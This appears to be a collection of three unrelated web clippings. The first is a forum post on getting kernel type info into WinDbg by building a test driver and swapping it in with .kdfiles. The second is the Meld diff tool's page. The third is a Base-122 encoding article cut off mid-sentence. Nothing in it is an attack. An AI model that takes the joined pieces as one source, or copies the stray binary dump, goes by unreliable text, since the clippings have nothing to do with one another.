>       File Object  865a3818  ModWriteCount  c66c  System Views     8657
>  
>       Flags (1) BeingDeleted
>  
>           No name for file
>  
>     Segment @ 00000010
>     Type nt!_MAPPED_FILE_SEGMENT not found.
[/code]

> if we google around we can find this above struct is unoffiicially
> documented in bits and pieces in several sites  
>  like Moonsols, msdn.mirt , nirsoft etc  
>  
>  and most of these structures were pieced together from pdbs themselves  
>  
>  like we can see this struct in ntkrnlmp.pdb  
>  
>
> Code:
[code]

>     F:\SYMBOLS\ntkrnlmp.pdb\998A3472EEA6405CB8C089DE868F26222>grep -i
> MAPPED_FILE_SE
>     GMENT  -b1 -U *.*
>     Binary file ntkrnlmp.pdb matches
>  
>     F:\SYMBOLS\ntkrnlmp.pdb\998A3472EEA6405CB8C089DE868F26222>grep -i
> MAPPED_FILE_SE
>     GMENT  -a1 -U *.*
>  
>  
>     §♥ û↔  ♦ OwnerTable ≤≥±: ♣§☻  ☻ù↔         _CM_INTENT_LOCK
> U_CM_INTENT_LOCK@@ ≤≥±
>     ♫ ♥§#   "   Ç  ±R ♣§  Ç☻              _PROC_IDLE_STATE_ACCOUNTING
> U_PROC_IDLE_ST
>     §♥ ¢↔  ÿ State F ♣§♠  ☻£↔          └☻_PROC_IDLE_ACCOUNTING
> U_PROC_IDLE_ACCOUNTIN
>     §♥ ▬∟  $ ActiveTripPoint ≥±B ♣§HERMAL_INFORMATION
> U_THERMAL_INFORMATION@@ ±→☺♥↕
>       ☻ƒ↔          L _THERMAL_INFORMATION U_THERMAL_INFORMATION@@ ±B ♣§  Ç☻
>          _MAPPED_FILE_SEGMENT U_MAPPED_FILE_SEGMENT@@ ±6 ♣§  Ç☻
> _SEGMEN
[/code]

> Code:
[code]

>     _MAPPED_FILE_SEGMENT.U_MAPPED_FILE_SEGMENT@@.ñ6.....€...............
>     _SEGMENT_FLAGS.U_SEGMENT_FLAGS@@.ñÒ.......5.....ControlArea.òñ....".....
>     TotalNumberOfPtes.....¢.....SegmentFlags.ñ....".....
>     NumberOfCommittedPages.óòñ....#.....
>     SizeOfSegment.....C.....
>     ExtendInfo.óòñ..........
>     BasedAddress.ñ..........
>     SegmentLock.òñB.......£...........
>      ._MAPPED_FILE_SEGMENT.U_MAPPED_FILE_SEGMENT@@.ñ
[/code]

> even though it is there windbg cant find it because this struct is probably
> not referanced  
>  
>  anyway back to topic  
>  
>  i had posted a while back how to put the typeinfo back into the respective
> pdb using wdk  
>  
>  in this post  
>  
>
>  
>  http://www.woodmann.com/forum/showthread.php?10295-Mysteries-of-win32k-amp-
> GDI&p=72632&viewfull=1\#post72632  
>
>  
>  that method is for putting the type info back to respective pdb  
>  
>  but some times you dont have a pdb to put back  
>  
>  in situations like this you can use the following approach  
>  
>  
>  suppose  
>  
>  you are on winxp and you are debugging via kd a win 7 vm  
>  
>  you think the code you are looking at is similar to fastfat in winddk srcs  
>  
>  an you want the type info for  
>  
>  PACKED\_BOOT\_SECTOR  
>  
>  in that case  
>  
>  
>  just compile the following code lets say helloworld.c  
>  
>
> Code:
[code]

>     #include  <ntddk.h>
>  
>     DRIVER_INITIALIZE                         DriverEntry;
>     DRIVER_UNLOAD                                     DriverUnload;
>  
>  
>     void
>     DriverUnload(
>                        PDRIVER_OBJECT DriverObject
>                        )
>                        {
>                                DbgPrint("Driver unloading\n");
>     }
>  
>  
>  
>     NTSTATUS
>     DriverEntry(
>                       __in PDRIVER_OBJECT DriverObject,
>                       __in PUNICODE_STRING RegistryPath
>                       )
>                       {
>                               DriverObject->DriverUnload = DriverUnload;
>                               DbgPrint("Hello World!\n");
>                               return STATUS_SUCCESS;
>     }
[/code]

> this is code for a simple driver that you can load with osr loader and
> operate with either osrloader or net start / stop "servicename"  
>  
>  the sources file contains  
>  
>
> Code:
[code]

>     TARGETNAME=helloworld
>     TARGETTYPE=DRIVER
>     TARGETPATH=obj
>  
>     INCLUDES=..\..\inc
>  
>     SOURCES = HelloWorld.c
[/code]

>  
>  the make file conatins  
>  
>
> Code:
[code]

>     C:\WinDDK\7600.16385.1\src\HelloWorld>type makefile
>     !INCLUDE $(NTMAKEENV)\makefile.def
>     C:\WinDDK\7600.16385.1\src\HelloWorld>
[/code]

>  
>  build this with win 7 fre build environemt  
>  
>
> Code:
[code]

>     C:\WINDOWS\system32\cmd.exe /k C:\WinDDK\7600.16385.1\bin\setenv.bat
> C:\WinDDK\7600.16385.1\ fre x86 WIN7
>     cd %COMPILEDIR%
>     build
[/code]

> copy the driver to win7 vm use osrloader to register the sevice and start
> the service  
>  
>  if you used auto the driver will load during boot stage and you can simply
> see the dbg print while booting  
>  
>  if you enable DEBUG PRINT FILTER mask in kd  
>  
>  like below  
>  
>  kd> ed nt\!Kd\_DEFAULT\_Mask 0xf  
>  
>  Hello World\!  
>  
>  now we want to add type info for  
>  
>  PACKED\_BOOT\_SECTOR  
>  
>  which does not exist in any pdbs  
>  
>  kd> dt \*\!\*boot\*  
>  ntkrnlmp\!\_ARBITER\_BOOT\_ALLOCATION\_PARAMETERS  
>  ntkrnlmp\!\_TPM\_BOOT\_ENTROPY\_LDR\_RESULT  
>  ntkrnlmp\!\_TPM\_BOOT\_ENTROPY\_RESULT\_CODE  
>  pci\!\_ARBITER\_BOOT\_ALLOCATION\_PARAMETERS  
>  
>  
>  
>  change the earlier code to fatexam.c with the following addition  
>  
>
> Code:
[code]

>     #include  <ntddk.h>
>     #include  "fat.h"   \\<------------
> C:\WinDDK\7600.16385.1\src\filesys\fastfat\Win7
>  
>     PACKED_BOOT_SECTOR                                packboot;  \\
> <---------------------- declaration
>     DRIVER_INITIALIZE                         DriverEntry;
>     DRIVER_UNLOAD                                     DriverUnload;
>  
>  
>     void
>     DriverUnload(
>                        PDRIVER_OBJECT DriverObject
>                        )
>                        {
>                                DbgPrint("Driver unloading\n");
>     }
>  
>  
>  
>     NTSTATUS
>     DriverEntry(
>                       __in PDRIVER_OBJECT DriverObject,
>                       __in PUNICODE_STRING RegistryPath
>                       )
>                       {
>                               DriverObject->DriverUnload = DriverUnload;
>                               DbgPrint("Hello World!\n called from
> fatexam.sys\n ");
>                               DbgPrint("Testing To See If .Kdfiles Work
> Dynamically!\n");
>                               DbgPrint("use dt fatexam!* to look for
> typeinfo you just added\n");
>                               return STATUS_SUCCESS;
>     }
[/code]

> change the sources file to reflect names and build it  
>  
>  now about how to transfer the newly built sys to vm via debugger  
>  
>  we can use the debuggers .kdfiles command  
>  
>  .kdfiles is a command \(Driver Replacement Map\) which will replace an
> existing driver in the target computer being debugged with a  
>  new one from host computer that is running Windbg  
>  
>  to use .kdfiles  
>  
>  make a foo.txt file \(may be foo.ini or blah.yuk or whatever.crap file\) in
> any directory  
>  
>  in that file add the following contents  
>
> Code:
[code]

>     C:\WinDDK\7600.16385.1\src>type kdfiles.ini
>  
>     map
>     \??\C:\Windows\System32\drivers\fatexam.sys
>
> C:\WinDDK\7600.16385.1\src\HelloWorld\fatexam\objfre_win7_x86\i386\fatexam.sys
[/code]

>  
>  if it didnt work first time you may have to change \??\ to just
> c:\Windows\system32 or maybe %systemroot%\system32  
>  
>  use ctrl+alt+d to view the debug spew to find the error  
>  
>  
>  go to windbg command window and type  
>  
>  .kdfiles C:\WinDDK\7600.16385.1\src\kdfiles.ini \(use the directory and
> filename you chose not what i typed here\)  
>  
>  
>  windbg should say  
>
> Code:
[code]

>     kd> .kdfiles C:\WinDDK\7600.16385.1\src\kdfiles.ini
>     KD file assocations loaded from 'C:\WinDDK\7600.16385.1\src\kdfiles.ini'
>  
>  
>     if you run the .kdfiles without any argument you should see something
> similar to this
>  
>     kd> .kdfiles
>     KD file assocations loaded from 'C:\WinDDK\7600.16385.1\src\kdfiles.ini'
>     \??\C:\Windows\System32\drivers\fatexam.sys ->
> C:\WinDDK\7600.16385.1\src\HelloWorld\fatexam\objfre_win7_x86\i386\fatexam.sys
[/code]

> and thats all  
>  
>  now if you go to vm and use net start service name  
>  before the driver is accessed it will be replace by the new one and your
> type info should be available  
>  
>  
>  
>  like below  
>  
>
> Code:
[code]

>      Driver unloading
>     KD: Accessing
> 'C:\WinDDK\7600.16385.1\src\HelloWorld\fatexam\objfre_win7_x86\i386\fatexam.sys'
> (\??\C:\Windows\System32\drivers\fatexam.sys)
>       File size 4KKdPullRemoteFile(83DE4A70): About to overwrite
> \??\C:\Windows\System32\drivers\fatexam.sys and preallocate to e00
>     KdPullRemoteFile(83DE4A70): Return from ZwCreateFile with status 0
>     .
>     Hello World!
>      called from helloworld.sys
>      Testing To See If .Kdfiles Work Dynamically!
>     use dt fatexam!* to look for typeinfo you just added
[/code]

>  
>  the results of the ealier command now shows added info  
>  
>
> Code:
[code]

>     kd> dt *!*boot*
>               ntkrnlmp!_ARBITER_BOOT_ALLOCATION_PARAMETERS
>               ntkrnlmp!_TPM_BOOT_ENTROPY_LDR_RESULT
>               ntkrnlmp!_TPM_BOOT_ENTROPY_RESULT_CODE
>               pci!_ARBITER_BOOT_ALLOCATION_PARAMETERS
>               fatexam!PACKED_BOOT_SECTOR
>               fatexam!_PACKED_BOOT_SECTOR
[/code]

> Code:
[code]

>     kd> dt -r fatexam!_PACKED_BOOT_SECTOR
>        +0x000 Jump             : [3] UChar
>        +0x003 Oem              : [8] UChar
>        +0x00b PackedBpb        : _PACKED_BIOS_PARAMETER_BLOCK
>           +0x000 BytesPerSector   : [2] UChar
>           +0x002 SectorsPerCluster : [1] UChar
>           +0x003 ReservedSectors  : [2] UChar
>           +0x005 Fats             : [1] UChar
>           +0x006 RootEntries      : [2] UChar
>           +0x008 Sectors          : [2] UChar
>           +0x00a Media            : [1] UChar
>           +0x00b SectorsPerFat    : [2] UChar
>           +0x00d SectorsPerTrack  : [2] UChar
>           +0x00f Heads            : [2] UChar
>           +0x011 HiddenSectors    : [4] UChar
>           +0x015 LargeSectors     : [4] UChar
>        +0x024 PhysicalDriveNumber : UChar
>        +0x025 CurrentHead      : UChar
>        +0x026 Signature        : UChar
>        +0x027 Id               : [4] UChar
>        +0x02b VolumeLabel      : [11] UChar
>        +0x036 SystemId         : [8] UChar
[/code]

> thats all for now  
>  
>  comments , queries , criticisms are welcome

# Meld

**Created:**| _9/27/2013 10:58:11 AM_  
---|---  
**Updated:**| _9/27/2013 10:58:11 AM_  
**Author:**| __  
**Tags:**| _diffing_  
  

# **M** eld****

## What is Meld?

Meld is a visual diff and merge tool targeted at developers**.** Meld helps
you compare files, directories, and version controlled projects**.** It
provides two- and three-way comparison of both files and directories, and has
support for many popular version control systems.

Meld helps you review code changes and understand patches**.** It might even
help you to figure out what is going on in that merge you keep avoiding**.**

<img src='img/Temp2_5277.png' />

<img src='img/Temp2_5278.png' />

## Features****

  * Two- and three-way comparison of files and directories
  * File comparisons update as you type
  * Auto-merge mode and actions on change blocks help make merges easier
  * Visualisations make it easier to compare your files
  * Supports Git, Bazaar, Mercurial, Subversion, etc**.**
  * …and more 

Meld is licensed under the GPL v2 , except as noted**.**

## Getting it****

You can run Meld without installing it**.** Just extract the archive and run
the `meld` file in the `bin` folder**.**

Meld is packaged for most Linux/Unix distributions, including Fedora, Ubuntu,
and Suse**.** Unless you want the absolutely latest version, you should
install Meld through your package manager**.**

Meld works on OS X and Windows \(with some caveats\)**.** On OS X, you can get
Meld from MacPorts or Fink**.** For Windows, there is a not-yet-official
installer , or we have notes on how to get Meld running  if you want to do it
yourself**.**

Stable |  |  22 September 2013   
---|---|---  
### Requirements****

  * Python 2**.** 6
  * GTK+/pygtk 2.14
  * GLib/pygobject 2.16
  * GtkSourceView/pygtksourceview 2**.** 10 \(optional\)

****

# Base-122 Encoding

**Created:**| _12/21/2016 9:19:33 AM_  
---|---  
**Updated:**| _12/21/2016 9:19:33 AM_  
**Author:**| __  
**Tags:**| _encoding_  
  

  

Nov. 26 2016 By Kevin Albertson

# Base-122 Encoding

## A space efficient alternative to base-64. \[GitHub repository\]

### §1 Overview

As a binary-to-text encoding, base-64 inflates the size of the data it
represents by ~33%. This article presents base-122, a UTF-8 binary-to-text
encoding which inflates the original data by only ~14%. Base-122 was created
with the web in mind. The implementation includes a small Javascript decoder
to load base-122 encoded resources in web pages.

> #### Disclaimer
> As §3 shows, base-122 is not recommended to be used on gzip compressed
> pages, which is the majority of served web pages. Base-122 may however be
> useful as a general binary-to-text encoding.
### §1.1 Introduction

External binary resources like images, fonts, audio, etc. can be embedded in
HTML through base-64 encoded  data URIs. A typical use is to embed small
images to avoid HTTP requests and decrease load time.

[code]

    <!-- This requires an extra HTTP request to fetch "example.png". -->
    <img src="example.png" />
    
    <!-- The same image embedded with base-64 encoding -->
    <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGYAAABmCAMAAAAOARRQAAAAkFBMVEX////MAADLAAD//Pz+9/f66en+9vb/+vrPAAD88PD21tb439/109P65OT32tr87e3yxMTWRkbSLy/YT0/pnZ3rp6fxv7/QJSXkf3/genrmlZXwurrPHh7eYmLzycnebW3jhYXODg7tsbHaVFTVPT3kjY3PFBTfc3PVPz/WSkrcXl7bZWXSIiLssrLooaHWNTXt35LZAAAGB0lEQVRoge1a55aiShCGIhgIoiIoMkgQMfv+b3erqkG5s3Nm5yzl/to6Z5wGtT8qh1bT/tE/egOZs78AcqubSx167wWxqgKQ9EXyThR/Dzqh4MvSfxuKt0SU+FLpBPTI5Da26+h1YeSIsvNn3vZIOAtXDGUDcfC8GuHeFa+8E+GcpVB2JKSncFZ4pYzZnyNMJYSiTT7ooefT9nINcOBFQMysDSkYzTozjt/B6GP6H8XI1sYUQ0Gx7Qnn5HcwgJwFB7KE9gM3SwTHexDOkY2qxO1PxjbFO033NlwmIjjTOeM4uLRwVTSEux6pN40dQD6SwWEnqWzclBHxL7Tb97YHHRIhU3AWtPsFTTnCBS5X3TvuAuAoFnQ8toOLpdlrwhm7rZhcsoWtFAo/teLHYQHqeYbW7JRXRKnlUFAHMePYmj8mfjB8bpoT4sFZRv8dRQfGmWjOQeUBSgcAOxlrnviuO+VMGV2JjbWpTfJFiwGPu4yRlTt89vExIWPaLhgHV1myPBR6WoUyicDO2UnwZb8yOv0Qjub5SDJRRjPWCoNfKFCuOGkKBmamFe2fVnudgZaIEyoc+/ff/TlZ5JO7yHNXc8bJ0ahCMmfIJWE8YEdBmp05xlCISZi1UAzE1O5oY50acmKiIMMiuYFeCqFE19sKXtIZ5XpXbSRyTqmtHjC+ADjPGyw3YBPOxVB8tmJd723nF3obJieRkMNoWsW2VfQtt0adzKX2b2m0I2bG/erVxhuxMExboKW9oGWgG4nDaBYXNI8XjhEDLMR2v58eu4AKvREnzPQpN/LWDyGUgFMJ7CjDWGQHsGyN2kYpQvDtl39MWaEMWbVInsLhpOZs5JiZLdtWrN3cYrmdLWu72ZOihCqlkFqj/EK1K3xQgzEqurSPdHZ+u8GPaIKF6pEqcS6SPigEuHslRb2Y11JdOrZGBdeTGVcxDcWUjHGKMpPrZ7FL3qtwFXCN1DA/vMyFErM9m03cI3RtXsD8nElODqtqJyKyYJcW18sDLt2NSFWZxIR7fLI2jMz7uLWmJ4wWsZElVLpGzE8zuNAo9dae+h14wPe4dylZP0N7zSl5YUza0NNeF6GqMlb+thDAuVMrGWwvtFX8wjFC6l6OLKuSW+dB6jEr4I7P+owzCvXn/KdMuU77Y5oZJlbjPF+wOJXpvZSZxM8As6qHuI67P6BjjNUFjU4whPX0I+SVQYpNyvVZSthqdiI2WOqInbCXSCzmR643bslVneQrX6lUdhWrxFqaqoz/8nBnyfY2/eY7f0IqkvRcwuEZwFwoh3VkbOETjjsHNdKQoElZRyp43BinfvX30zm7qwBZa0rx45L9ggdX/WmFvxYB0Zy5GvG0w6NbShehcOuq+ad2XoWBnmW15bUwDpWTcFheXwmFmz4RHPO1BRWQG7SkunjpPik+6efPKMuf3S+mRWho71HIOuEzBTPhcDCsdbUTDF7doy4BYuUVs+rZiCsciId4pV/xwOjOFze9G+iZdWsHioccTXwIN0FBIPFOxXcsWbg+pnMFiJuU2nzkx/S0+rD6dp/viaIwFOtnb3JXUqKSooi0nEuaMKgXwSwbYGlTOtiJ3V5VsmUFeMjHrc2YWNJgxzckjJlkvl/NCzbdnPrctk7Nr5/5OWF13zZcn+4v4KrkWHLvBPshKHTkot+/uH8HOCnrvWDrdF7Wg47+RjXo1+jX+zaaWcWp2Ehh7s28YXFmhNEq7Z+OGSMkTDcN6pwrMsRbDz6JMWjUsmkf1fLd/GNRpMvQ58O4czaz0EV1gfF7yfW26zlZGZ6vXbu6iHiQebic9KeOBtGUhiL6Yzl/tL24st5Drc5IoIudQylUebKFgHYFRbJoR79CGTnvmCCAR9VszgdVwpIMx3Ops2XjrgYxcKiSW4ZGPCu5BrTsoCy3gvWYl93DsJw6VuccWdE/Unof0eGskE6+I/Kmtx74K2oQRryL+ZWoHBc9UPiScunzhK/ITGhu9ubffGhegyVI8WZztpPjO46U/kem01BpBvp7fWaqOtr9uwPAluLnx/s9psQW7f0Og3Ym+QuMfzSA/gP09FnS+GSFqAAAAABJRU5ErkJggg==" />
    
[/code]

Using the embedded data URI avoids the extra HTTP request to fetch
"example.png" from the server. This can improve load time in some cases. It
has been recommended to use data URIs cautiously. They may help for small
images, but could hurt performance otherwise.

Before discussing how base-122 improves upon base-64, we will briefly discuss
how base-64 works. The Wikipedia article gives a much more in depth
introduction, but we will cover the main points.

### §1.2 Base-64 Encoding

Base-64 is one approach to solving the more general problem of binary-to-text
encoding. For example, suppose we want to embed the single byte **01101001**
in a text file. Since text files may only consist of text characters this byte
needs to be represented by text characters. A straightforward way to encode
this byte is to map each bit to a text character, say "A" to represent a 0 bit
and "B" to represent a 1 bit. For the sake of example, suppose this silly
encoding did exist and that single byte **01101001** represented a \(very
small\) image. The corresponding data URI in HTML could look as follows.

[code]

    <!-- A toy binary-to-text encoding. -->
    <img src="data:image/png;sillyEncoding,ABBABAAB" />
[/code]

The encoding is certainly easy to decode, but only at the cost of wasted
space. Each text character "A" or "B" takes one byte in the HTML file. This
means we are encoding one bit of binary data with eight bits of text data, so
the data inflation ratio is 8 : 1.

Base-64 encoding is an improvement of our silly encoding. It maps chunks of
six bits \(representing the numbers 0-63\) to one of 64 characters. Each
resulting character is one byte, so the inflation ratio is 8 : 6.

[code]

    <!-- The same byte encoded in base-64. The extra == is padding. -->
    <img src="data:image/png;base64,aQ==" />
[/code]

Base-64 works well as a binary-to-text encoding since the characters it
produces are standard ASCII characters. But to improve upon base-64, we'll
have to investigate how much data we can cram into UTF-8 characters.

### §1.3 Text Encodings and UTF-8

Since the majority of web pages are encoded in UTF-8, base-122 exploits the
properties of how UTF-8 characters are encoded. Let's first clarify some of
the terminology regarding UTF-8 and text-encodings.

<img src='img/Temp2_991.jpg' width='672' height='131' />

Figure 1: Three representations of ε

A code point is a number representing \(usually\) a single character. Unicode
is a widely accepted standard describing a large range of code points from the
standard multilingual alphabets to more obscure characters like a coffee cup
at code point 0x2615 ☕ \(often denoted U+2615\). See this Unicode table for a
reference of code points.

A text encoding on the other hand, is responsible for describing how code
points are represented in binary \(e.g. in a file\). UTF-8 is by far the most
common text encoding on the web. It has a variable length encoding and can
represent 1,112,064 different code points. Code points representing ASCII
characters require only one byte to encode in UTF-8, while higher code points
require up to four bytes. Table 1 below summarizes the format of UTF-8
encodings of different code point ranges.

Code point range| UTF-8 Format \(x reserved for code point\)| Total Bits| Bits
for code point| Inflation  
---|---|---|---|---  
0x00 - 0x7F| 0xxxxxxx| 8| 7| 8 : 7  
0x80 - 0x7FF| 110xxxxx 10xxxxxx| 16| 11| 16 : 11  
0x800 - 0xFFFF| 1110xxxx 10xxxxxx 10xxxxxx| 24| 16| 24 : 16  
0x10000 - 0x10FFFF| 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx| 32| 21| 32 : 21  
Table 1: A summary of UTF-8 encoding. x represents bits reserved for code
point data

Inflation is the ratio of the character bits to the code point bits. The ratio
of 1 : 1 effectively means no waste. The inflation ratio worsens as the number
of bytes increases since less bits are reserved for the code point.

### §2 Improving Base-64

The encoding of a UTF-8 one-byte character in Table 1 suggests that we can
encode seven bits of input data in one encoded byte as in Figure 2.

<img src='img/Temp2_987.jpg' width='672' height='128' />

Figure 2: An attempt at encoding seven bits per byte

If the encoding of Figure 2 worked, it would improve the 8 : 6 inflation ratio
of base-64 to 8 : 7. However, we want this binary-to-text encoding to be used
in the context of HTML pages. Unfortunately, this encoding will not work since
some one-byte UTF-8 characters cause conflicts in HTML.

### §2.1 Avoiding Illegal Characters

The problem with the above approach is that some characters cannot be safely
used in the context of an HTML page. We want our encoding to be stored in
format similar to data URIs:

[code]

    <img src="data:image/png;ourEncoding,(Encoded data)" />
[/code]

Immediately we see that our encoded data cannot contain the double quote
character or the browser will not properly parse the src attribute. In
addition, the newline and carriage return characters split the line.
Backslashes and ampersands may create inadvertent escape sequences. And the
non-displayable null character \(code point 0x00\) is also problematic since
it is parsed as an error character \(0xFFFD\). Therefore, the null, backslash,
ampersand, newline, carriage return, and double quote are considered
**illegal** in the one-byte UTF-8 character. This leaves us with 122 legal
one-byte UTF-8 characters to use. These 122 characters can almost encode seven
bits of input data. When a seven bit sequence would result in an illegal
character, we need to compensate. This is the idea which leads us to our final
encoding.

### §2.2 Base-122 Encoding

Base-122 encoding takes chunks of seven bits of input data at a time. If the
chunk maps to a legal character, it is encoded with the single byte UTF-8
character: **0xxxxxxx**. If the chunk would map to an illegal character, we
instead use the the two-byte UTF-8 character: **110xxxxx 10xxxxxx**. Since
there are only six illegal code points, we can distinguish them with only
three bits. Denoting these bits as **sss** gives us the format: **110sssxx
10xxxxxx**. The remaining eight bits could seemingly encode more input data.
Unfortunately, two-byte UTF-8 characters representing code points less than
0x80 are invalid. Browsers will parse invalid UTF-8 characters into error
characters. A simple way of enforcing code points greater than 0x80 is to use
the format **110sss1x 10xxxxxx** , equivalent to a bitwise OR with 0x80 \(this
can likely be improved, see §4\). Figure 3 summarizes the complete base-122
encoding.

<img src='img/Temp2_990.jpg' width='672' height='160' />

Figure 3: Base-122 encoding. The null code point is mapped to 000

This uses one-byte characters encode seven bits and two-byte characters to
encode fourteen bits. Hence this attains the goal of encoding seven bits per
byte, i.e. the 8 : 7 inflation ratio. Consequently a base-122 encoded string
is about 86% the size of the equivalent base-64 string.

### §2.2.1 A Minor Note on the Last Character

The last seven bit chunk of input data is padded with zero bits if needed.
Therefore, an ending one-byte character can have an excess of up to six
padding zero bits. Since decoding rounds down to byte, these six padding bits
are conveniently chopped off during decoding. If however, the ending is a two-
byte character, we may have an excess of up to thirteen padding bits. This was
resolved from helpful suggestions to distinguish whether the last two-byte
character encoded more than seven bits.

### §2.3 Implementation

An implementation of base-122 encoding and decoding functions is available on
GitHub. It provides two main functions:

  * Re-encode base-64 strings in file to base-122 with a NodeJS script
  * Decode the base-122 strings to the original data with a client-side Javascript function

### §2.3.1 Encoding into Base-122

Base-122 encoded strings contain characters which did not seem to play well
with copy-pasting. To avoid having the user copy-paste, a NodeJS script is
provided which re-encodes base-64 data URIs inside an HTML file. Figure 4
shows an example.

[code]

    <html>
    <head><meta charset="utf-8"></head>
    <body>
    <img src="data:image/jpeg;base64,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" />
    </body>
    </html>
    
[/code]

Figure 4a: The original file.

[code]

    <html><body>
    <head><meta charset="utf-8"></head>
    <body>
    <img data-b122="v~ J#(` m@0 @0ƆA``@( ƅ!PPq `0ƅBaPtJʆd1`X, 21R*F#ri@Z( %I#[`8ƄB0P(ҨʅCρ P(ƅA P(ƅA P(ƅA P(ƅA P(ƅA P(ƅA P(ƅGBÈ@D@?| ¶à  A`o~À 4à S=UoRQʺMf+B0GJTcP>Q;Py֦MzLGN!j9TVngOCMk:=E>s(+8g| À@    ΰ)(Ι{   Pf9MS<oj6Tofy3U%r+BeS)yg<O>dSD8-Ai9Xn5sZC6L1)kmnXU2JY!H%Җ[2x!RK0=*~hd}Jí+^7HT[)I(m*DsyB<yӵ0>s˅6 OhlmXaTK,Srӎ^e>Zu.hZ}Ӎ!^m1r U| ¨À~hÀ`   |q D ?{  À'pDÁ@@8΢   DDHң8d҃  ePl?}PÀãxpw֥cyF}kFo]4I*4]/YT<R֍Q c{-ӥ5VA0W<DÈX%)<ӴC9sί>)S4>JM1*N6*ƂW,BUyP^=ǏBmJE`lU2Y_p(-JBx(J U%4<_p.'GQY@cU.j`Hnc:kƱfA4:Pm@nmH*^Ɣ/o_Fs.G*y*M' y+63b_qÀÀ À EQ0ְˇ#mH>h2n    4qJ{Q@zgf>%@<`.Ҩ7Oj/gz)yRZ+aDVZh)?ΆƂFDWB    ?8(G}`9RxBm*hg8O-M?;6pB4<#j5)s0W֗*HiN2:`{lRhKiaL?lXVqv7/m!uj+h4gpML=֮g|ãEDS    NPh2^+9Bw3V(ko6p+c֥_v^(2IL^AG;K+2uǭt5)(Pt2aO0n˕Ϣlʺ`vsb!~ 0CADn;1ƍG8|E`M~bSsfU'4àPqEasK| ¨À~hÀ` | q D ?{  À'qD΀À ҔQ8d4ΐp|?}PÀxBkY9dp>+AvΕSkP^Xa9yi+=F<viґʟ8f6@*`4?;S?N+.ևPsלu%2Mog˸mWq_prҷ:)@ FX6    ]ֿEƿ+cƗ1*:SK|3R,/Mo-ҝLlm(H{pzLADfm@ PMʍa<;a-.2zoà2EI?   |3IjE!,eǥuV~geiқnaoOxN    (8_'vq8-0-#n^L'΍sDgt?`}X:pjolIc8)]o'|,P+7qM%#>P)/c9I0BO#5<_ƀX#lcJp`ΕҾGuaևH@UH9xe(vWPqliuGzN!OFπ8j}qi/$k8W9~@ECj)ntnv:c8`2$]:kt9׌ADQX?S<Rg[)^S*5gƸ95~Y[Ǟοdˡ4qq}[0}|qΥT?Rg2" />
    </body>
    </html>
    
[/code]

Figure 4b: The re-encoded file.

A few points are worth noting. Only data URIs in an src attribute are re-
encoded, not CSS data URIs. The meta charset tag with a UTF-8 charset must be
